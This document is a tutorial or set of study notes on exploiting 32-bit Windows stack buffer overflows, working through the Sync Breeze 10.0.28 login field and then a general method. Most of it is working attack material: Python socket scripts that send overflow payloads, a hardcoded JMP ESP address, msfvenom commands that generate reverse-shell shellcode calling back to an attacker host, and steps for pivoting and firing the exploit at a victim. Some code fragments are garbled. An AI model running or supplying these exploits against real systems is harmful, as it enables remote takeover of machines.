x86 Vanilla Stack BOF

Theory and Vulnerable Code Example

This is an example of a program vulnerable to stack overflow.

int main(int argc, char *argv[])
{
 char buffer[64];
 if (argc < 2)
 {
 printf("Error - You must supply at least one argument\n");

 return 1;
 }

 strcpy(buffer, argv[1]);

 return 0;
}

If the argument passed to the main function is 64 characters or less, this program will work as expected and will exit normally. However, since there are no checks on the size of the input, if the argument is longer, say 80 bytes, part of the stack adjacent to the target buffer will be overwritten by the remaining 16 characters, overflowing the array boundaries.

The char buffer is a local variable (defined within the main function) and when a function ends its execution, the return address is taken from the stack and used to restore the execution flow to the calling function. If we overwrite the defined buffer, the overwritten return address will be popped into the Extended Instruction Pointer (EIP) CPU register, which will try to read the next instruction.

If the next EIP instruction is not correct, the application will crash. However, obtaining reliable control of EIP would allow us toexecute any assembly code we want.

Sync Breeze Stack-Based BOF

Sync Breeze version 10.0.28 application is vulnerable to BOF, specifically, the username field of the HTTP POST login request could be used to crash the application. Aditionally, Sync Breeze was compiled without any security mechanisms (DEP, ASLR or CFG).

- First Crash

First, we need to test this by sendind a big buffer and try crashing the application.

Open it with windbg and senf a big buffer, for example, with the following python script:

import socket
import sys

# python stack_overflow_0x01.py 192.168.120.10

try:
 server = sys.argv[1]
 port = 80
 size = 800
 inputBuffer = b"A" * size
 content = b"username=" + inputBuffer + b"&password=A"
 buffer = b"POST /login HTTP/1.1\r\n"
 buffer += b"Host: " + server.encode() + b"\r\n"
 buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101
Firefox/52.0\r\n"
 buffer += b"Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
 buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
 buffer += b"Referer: http://10.11.0.22/login\r\n"
 buffer += b"Connection: close\r\n"
 buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
 buffer += b"Content-Length: "+ str(len(content)).encode() + b"\r\n"
 buffer += b"\r\n"
 buffer += content
 print("Sending evil buffer...")
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect((server, port))
 s.send(buffer)
 s.close()

 print("Done!")

except socket.error:
 print("Could not connect!")

- Controlling the EIP

Now, after sending a bunch of A's, if we notice that the EIP is overwritten with 0x41414141 (AAAA in hex), we now we can overwrite the EIP.

The next step is identifying the location where these four bytes starts by inserting a long string made of non-repeating 4-byte chunks as our input. Then, when the EIP is overwritten with four bytes from our string, we can use that unique sequence to pinpoint the exact location.

To generate a non-repeating string:

locate pattern_create

msf-pattern_create -l 800

Then, instead of sending A's, we send this created pattern in order to locate the EIP value.

After that, to find the offset where the EIP overwrite happens:

pattern-offset.rb -l 800 -q 0x{EIP value after sending the created pattern}

Once obtained the offset, we will try to land 4 B's precisely in the EIP register, so we can update the script with the following:

 filler = b"A" * 780
 eip = b"B" * 4
 buf = b"C" * 16
 inputBuffer = filler + eip + buf

If the app crashes and we obatined the exact 4 B's in the EIP after the crash, then we have complete control over the EIP register.

- Locating space for shellcode placement

Now, with the app crashed from the previous script, in Windbg we will take a look at the stack and see the buffer of C's:

r

dds esp -10 L8

If we see we overwrote the stack with 16 C's, then we could easly place the payload on the stack, so we will add enough D's to place a shellcode and see if the stack points to the start of D's:

filler = b"A" * 780
 eip = b"B" * 4
 offset = b"C" * 4
 shellcode = b"D" * (1500 - len(filler) - len(eip) - len(offset))
 inputBuffer = filler + eip + offset + shellcode

Now, take note of the esp value:

r

Then confirm the 4 bytes of D's and the start of it:

dds esp - 8 L7

Now we will locate the last D's and calculate the size we have to place the payload:

dds esp L4

dds esp+2c0 L4

Once located the first address with no D's:

? {firs address with no D's} - {esp value (from r command)}

The result will the the available bytes of free space for the shellcode.

- Badchars

Depending on the application, vulnerability type, and protocols in use, there may be certain characters that are considered “bad” and should not be used in our buffer, return address, or shellcode.

One way to determine which characters are bad for a particular exploit is to send all possible characters (from 0x00 to 0xFF) as part of our buffer, and observe how the application reacts to these characters after the crash.

To send the badchars, update the script:

 badchars = (
 b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
 b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
 b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
 b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
 b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
 b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
 b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
 b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
 b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
 b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
 b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
 b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
 b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
 b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
 b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
 b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

 #shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset))
 inputBuffer = filler + eip + offset + badchars

Then, with the application crashed, we will look at the bytes of the esp and verify if any characters have been mangled or truncated our buffer:

db esp - 10 L20

Now, we should extract the identified badchars from the script and send again the payload, then, repeat the process again and again until we have verified every character.

- Finding a Return Address

The value of ESP changes from crash to crash, so hardcoding the ESP address to point it at the offset of the EIP is not reliable, instead, we can leverage a JMP ESP instruction, which as the name suggests, “jumps” to the address pointed by ESP when it executes.

If we can find a reliable static address that contains this instruction, we can redirect EIP to this address.

Many support libraries in Windows contain this commonly-used instruction, but we need to find a reference that meets the following criteria:

  • The address used in the library must be static, which eliminates the libraries compiled with ASLR support

  • The address of the instruction must not contain any of the bad characters

To determine the protections of a particular module, we can check the DllCharacteristics member of the IMAGE_OPTIONAL_HEADER structure, which is part of the IMAGE_NT_HEADERS structure.

First, list loaded modules by the target binary

lm m {target binary}

Then, display structures with the base address to dump the IMAGE_DOS_HEADER:

dt ntdll!_IMAGE_DOS_HEADER {start address found listing target binary modules}

Now, locate the e_lfanew, which is the offset (in bytes) from the start of the file to the PE header and translate to hex:

? {offset from the start of the PE}

Then, dump the IMAGE_NT_HEADERS structure at the found address:

dt ntdll!_IMAGE_DOS_HEADER {start address found listing target binary modules}+{offset to the PE in hex}

After that, locate the IMAGE_OPTIONAL_HEADER structure, since that contains the DllCharacteristics field:

dt ntdll!_IMAGE_DOS_HEADER {start address found listing target binary modules}+{offset to the PE in hex}+{IMAGE_OPTIONAL_HEADE address}

If the DllCharacteristics is 0, then, the executable does not have any protections enabled such as SafeSEH, ASLR, or NXCompat.

Unfortunately, the the ImageBase member being set to 0x400000, means that the preferred load address for the target binary is 0x00400000. This indicates that all instructions’ addresses (0x004XXXXX) will contain at least one null character, making this module unsuitable for our input buffer.

To find the mitigations automatically, we could use ProcessHacker, locate the binary, doble-click, and under general, the mitigation policies > Detail, will reveal the security measures.

Then, we could also locate the modules under the Modules tab, and then, to inspect the DllCharacteristics, we can double click on a module and open the properties window.

Using either the manual or automatic approach, we should locate a dll which address range doesn’t contain bad characters.

Once located one, for example, LIBSSP.DLL, we need to find the address of a naturally-occurring JMP ESP instruction within this module.

First, to finde the opcode equivalent to the desired instruction:

msf-nasm_shell

nasm > jmp esp

Then, within windbg, we could search for bytes whithin the target module filtering by the desired bytes (FFE4, 0xFF 0xE4):

lm m {target dll}

s -b {start address of target dll} {end address of target dll} 0xff 0xe4

Then, we could use the unassemble command to verify:

u {address obatined when filtering for the jmp esp instruction within the target dll range}

Now, we can update the script and try redirecting the EIP to this address (write address in reverese order due to little-endian):

filler = b"A" * 780
 eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESP
 offset = b"C" * 4
 shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset))
 inputBuffer = filler + eip + offset + shellcode
 content = b"username=" + inputBuffer + b"&password=A"

Now, place a breakpoint before firing up the script:

bp {address the eip will point to, which must contain jmp esp}

bl

g

t (step into)

dc eip L4

We should see once stepped into the instruction, that we arrived at the esp, which holds a bunch of D's.

- Reverse Shell

Generate a reverse shell avoiding bad chars:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f c –e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"

We should also include NOP (0x90) instructions since the GetPC routine used by the msfvenom shellcode overwrites a few bytes on the stack, affecting our payload if we place it directly in the first instruction of the esp.

The final script will be the following:

#!/usr/bin/python
import socket
import sys

try:
 server = sys.argv[1]
 port = 80
 size = 800

 filler = b"A" * 780
 eip = b"\x83\x0c\x09\x10" # 0x10090c83 - JMP ESP
 offset = b"C" * 4
 nops = b"\x90" * 10
 shellcode = bytearray(
 "\xdd\xc4\xba\x6d\xdc\x1e\xf1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
# shellcode………
 "\x20\x3f\x28\xc0\x41\x6a")
 shellcode+= "D" * (1500 - len(filler) - len(eip) - len(offset) - len(shellcode))
 inputBuffer = filler + eip + offset + nops + shellcode
 content = b"username=" + inputBuffer + b"&password=A"
 buffer = b"POST /login HTTP/1.1\r\n"
 buffer += b"Host: " + server + b"\r\n"
 buffer += b"User-Agent: Mozilla/5.0 (X11; Linux_86_64; rv:52.0) Gecko/20100101
Firefox/52.0\r\n"
 buffer += b"Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
 buffer += b"Accept-Language: en-US,en;q=0.5\r\n"
 buffer += b"Referer: http://10.11.0.22/login\r\n"
 buffer += b"Connection: close\r\n"
 buffer += b"Content-Type: application/x-www-form-urlencoded\r\n"
 buffer += b"Content-Length: "+str(len(content))+"\r\n"
 buffer += b"\r\n"
 buffer += content
 print("Sending evil buffer...")
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
 s.send(buffer)
s.close()

 print("Done!")

except socket.error:
 print("Could not connect!")

Windows without protections 32-bit binary

1. Identify binary properties

First of all we use file {binary} commnad to see that we are aggainst a Windows 32-bit executable.

2. Set up a Windows 7 x32 machine for debugging

https://juanrdtutoriales.blogspot.com/2021/04/descargar-imagen-iso-windows-7.html https://www.mediafire.com/file/vsywziyb58710zu/IMAGENES_ISO_DE_WINDOWS_7.pdf/file

Give the machine 1-2 processors and 1-4 GB of RAM Memory.

Configure the machine in the same internal network as the kali machine, to share files beteween both machines.

  • First we try ping the windows machine from the kali machine, if it doesn’t work, we go to firewall and in inbound rules and we enable the four "Files and printers IPv4 and IPv6" rules. Then we enable the same rules in outbound rules.

  • Then we disable DEP in the whole system:

bcedit.exe /set {current} nx AlwaysOff

*We can do the same through the control panel in data execution prevention.

To apply changes we restart the machine.

  • Then we run the binary in this Windows machine and send a nmap scan from our kali machine to reach the port or ports that the binary enables.

If we can't reach thoose ports through our kali machine, we need to enable them:

Firewall > Inbound rules > New rule > Port > Here we specify the port > Allow connection > Check all

Then we repeat the proccess in Outbound rules

  • Inmunity Debugger

Downlaod and Install Inmunity Debugger and Python 2.7

  • Mona.py

Now we include mona.py in Inmunity Debugger

We select Raw, and copy all the content in a text document called mona.txt and with cmd we move mona.txt mona.py

Then we need to move this python script to C:\Program Files\Inmunity Inc\Inmunity Debugger\PyCommands

Now if we type !mona in Inmunity Debugger the utility should appear.

3. Identify if the binary is vulnerable to buffer overflow

We test in the local host sending lot of A's in the input to see if the binary breaks. Then we are going to continue testing in our localhost until we get a functional exploit for that binary, then we exploit the victim machine.

First of all open Inmunity Debugger while the binary is running and we select File > Attach and select that proccess.

Example:

We download the binary in our Windows machine, start it, attach it in Inmunity Debugger and then connect to it with netcat in our Kali machine, then we send multiple A's:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

The input should look like this but with more A's, then, after sending this, if we see in Inmunity Debugger that the binary is paused that means that the binary sttopped working and it migth be vulnerable to buffer overflow.

4. Finding the offset

In Inmunity Debugger we can see that the binary breaks with EIP and EBP "AAAA" which hexadecimal value is 0x41414141.

Now the are going to create a pattern and send it in order to locate exactly where we overwrite the EIP.

/usr/share/metasploit-framework/tools/exploit/pattern-create.rb -l 1000

We restart the binary and Inmunity Debugger in the windows machine and attach and play it.

Then, instead of sending A's, we send this created pattern in order to locate the EIP value.

After that we need to see how many characters there are before overwriting the EIP. To do this, we copy the haxadecimal value of the EIP after sending the created pattern and run the following command:

/usr/share/metasploit-framework/tools/exploit/pattern-offset.rb -q 0x{Hexadecimal value of the EIP after sending the created patter}

Example: EIP 35724134 --> …… -q 0x35724134

Now we test it

python3 -c 'print("A"*{offset found} + "B"*4 + "C"*200)'

We copy that payload and send it again with the binary and inmunity running. Now if we have the correct number of characters that go before EIP, the EIP value should be the four B's, 0x42424242 in hexadecimal and the ESP value should be multiple C's.

5. Malware Development

First of all we open Inmunity Debugger and start mona script

!mona

Then we create the working directory and set it in mona to store created patters and transfer them to our Kali machine in a more comfortable way.

!mona config -set workingfolder C:\Users\{My User}\Desktop\{Cretaed folder}\%p

If NX is disable we can create a payload in order to introduce shellcode in the ESP stack.

!mona modules

Now with this utility we are going to create a pattern

!mona bytearray

But we need to exclude bad chars, first we exclude the null byte cause it's usually one.

!mona bytearray -cpb "\x00"

Now we transfer the bytearray.txt file to our Kali machine and extract the bytearray:

cat bytearray.txt | grep -oP '".*?"' | tail -n 8

Next we introduce that payload in the following python script (try python3, python2, python):

#!/usr/bin/python3
	
import socket
import sys
from struct import pack
	
offset = {offset found}
before_eip = b"A" * offset
eip = b"B"*4 
after_eip = (b{copy here the extracted bytearray }) #Put b before every line of the bytearray
	
payload = before_eip + eip + after_eip
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{Windows Machine IP}", {PORT in which the binary listens})) #Here we set the IP of the machine we want to connect with
s.send(payload)
s.close()

Then we execute the payload while Inmunity Debugger is open and attached to the binary.

The binary should stop working and the EIP value should be four B's, 42424242 in hexadecimal.

Now we need to exclude other bad chars so with mona:

!mona compare -f C:\Users\{My User}\Desktop\{Cretaed folder}\.....\bytearray.bin -a 0x{ESP value}

If there are bad chars shown in the output, we need to repeat the proccess excluding them.

Now we have to create the shellcode excluding the bad chars we have identified and excluded from the pattern before.

msfvenom -p windows/shell_reverse_tcp LHOST={My IP} LPORT={Port we want to listen in} --platform windows -a x86 -e x86/shikata_ga_nai -f c -b "\x{First BadChar}\x{Second BadChar}" EXITFUNC=thread

or

msfvenom -p windows/shell_reverse_tcp LHOST={My IP} LPORT={Port we want to listen in} -f python -b "\x{First BadChar}\x{Second BadChar} EXITFUNC=thread

Now we need to search a direction for the EIP in which a jump to the ESP is applied. In order to search the operation code that jumps to the ESP we can use the following metasploit utility:

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb

nasm > jmp ESP

Now that we know that the corresponding operation code that apply a jump to the ESP is FFE4 we will filter for this in the binary to get a valid direction. To do this we will use mona:

!mona find -s "\xFF\xE4" -m binary.exe

After this we edit the python script and include the shellcode (with a b before every line) and the direction that jumps to the ESP (in little-endian):

#!/usr/bin/python3
	
import sys, socket
from struct import pack
	
offset = {offset found}
before_eip = b"A" * offset
eip = pack ("<I", 0x{direction that jumps to the ESP})
	
shellcode = (b
b
b
b
.)
	
after_eip = b"\x90"*16 + shellcode #Here we introduce 16 NOPs (No Operation code) before the shellcode
	
payload = before_eip + eip + after_eip
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{Windows Machine IP}", {PORT in which the binary listens})) #Here we set the IP of the machine we want to connect with
s.send(payload) #or s.send(payload + b'\r\n')
#s.recv(1024)
s.close()

Now the test this in our local machine, one to run the binary in our Windows machine, and execute the payload in our kali machine while listening with netcat (nc -nlvp {PORT we have selected in shellcode}).

Once we know that the exploit works we modify the s.connect section in our python script to send the exploit to the victim IP instead of the localhost, leaving the port unchanged.

If we are pivoting, we must create a new shellcode with LHOST = {Nearest IP that the machine has connection with}, then we send the exploit with proxychains while listening with netcat in the machine that has connection with the victim machine or redirect the connection with socat or netsh in that machine and listen with netcat in our machine.

  • If we are against a binary that displays a server with more than one option we should first of all Spiking and then add the option to de payload section:

Spiking: Trying to break the program (Testing for vulnerabilities)

nc -nc 0.0.0.0:port (connect to vulnerable windows machine)

See the options available to us on the server

Next up is testing certain variables for vulnerabilities

Craft spike script to test option

nano option.spk(for spike)

s_readline();
s_string("{option} ");
s_string_variables("0");

*Change option to whatver you are spiking and add an espace after closing cuotes. Then while Inmunity Debugger is running with the binary it will pause the program when the option is vulnerable to buffer overflow.

generic_send_tcp 0.0.0.0 port option.spk 0 0

Once we know the vulnerable parameter we follow the same steps as before but adding the option in the payload variable in our python script:

………………………………………………
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{Windows Machine IP}", {PORT in which the binary listens}))
…………………
…………………
…………………
								
payload ={option} /.:/+ before_eip + eip + after_eip
s.send((payload.encode()))
s.close()

or

payload = before_eip + eip + after_eip
s.send(('{option}' /.:/ + payload))
  • If we want to attack a service in which there are 2 inputs, for example,USER and PASS, we should change the last lines of our script:

………………………………………………
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{Windows Machine IP}", {PORT in which the binary listens})) #Here we set the IP of the machine we want to connect with
	
s.recv(1024)
	
s.send("USER example\r\n")
s.recv(1024)
	
s.send("PASS " + payload + '\r\n')
s.recv(1024)
	
s.close()
  • If we are against a web buffer overflow, we should detect the vulnerable input and:

………………………………………………
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{Windows Machine IP}", {PORT in which the binary listens})) #Here we set the IP of the machine we want to connect with
	
http_method = "GET"
shellcode = ………
…..
.
http_header = "HTTP/1.1\r\n\r\n"
payload = http_method + shellcode + http_header
s.send(payload)
s.recv(1024)
s.close()

Last updated